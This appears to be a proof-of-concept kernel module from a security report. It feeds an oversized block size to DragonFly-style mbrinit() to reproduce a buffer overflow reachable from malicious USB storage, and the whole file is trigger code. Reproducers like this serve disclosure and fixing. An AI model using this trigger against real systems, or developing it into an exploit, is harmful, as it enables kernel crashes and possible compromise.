DF-2902 / mbrprobe.c
/* * DF-2902 PoC harness. * * Calls mbrinit() (sys/kern/subr_diskmbr.c) on the vn0 whole-disk cdev with * an attacker-controlled d_media_blksize, replicating what happens when a * malicious storage device (e.g. USB mass-storage via umass/scsi_da) reports * a hostile block length in READ CAPACITY: * * scsi_da.c:dasetgeom() -> softc->params.secsize = block_len (no check) * subr_disk.c:disk_setdiskinfo() -> DISK_DISK_PROBE * subr_disk.c:disk_probe() -> mbrinit(dev, info, ...) * subr_diskmbr.c:132 -> bp->b_bcount = info->d_media_blksize * (pbuf from getpbuf_mem(): b_data = 64KB KVA) * * tunable: kenv mbrprobe.blksize=<value> */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/diskslice.h> #include <sys/disk.h> #include <sys/devfs.h> static int blksize = 0x20000; TUNABLE_INT("mbrprobe.blksize", &blksize); static int mbrprobe_modevent(module_t mod, int type, void *data) { struct disk_info info; struct diskslices *ssp; cdev_t dev; int error; switch (type) { case MOD_LOAD: dev = devfs_find_device_by_name("vn0"); if (dev == NULL) { kprintf("mbrprobe: /dev/vn0 not found\n"); return (ENODEV); } bzero(&info, sizeof(info)); info.d_media_blksize = blksize; info.d_media_blocks = 64; info.d_media_size = 0; /* mbrinit rejects d_media_size == 0; _setdiskinfo normally * computes blocks*blksize, do the same. */ info.d_media_size = (u_int64_t)info.d_media_blocks * (u_int64_t)(u_int)blksize; info.d_secpertrack = 63; info.d_nheads = 16; info.d_secpercyl = 63 * 16; info.d_dsflags = 0; kprintf("mbrprobe: dev=%s blksize=0x%x blocks=%llu " "media_size=%llu\n", devtoname(dev), blksize, (unsigned long long)info.d_media_blocks, (unsigned long long)info.d_media_size); ssp = dsmakeslicestruct(BASE_SLICE, &info); error = mbrinit(dev, &info, &ssp); kprintf("mbrprobe: mbrinit returned %d nslices=%d\n", error, ssp ? (int)ssp->dss_nslices : -1); if (ssp) kfree(ssp, M_DEVBUF); kprintf("mbrprobe: done (no crash)\n"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(mbrprobe, mbrprobe_modevent, NULL); |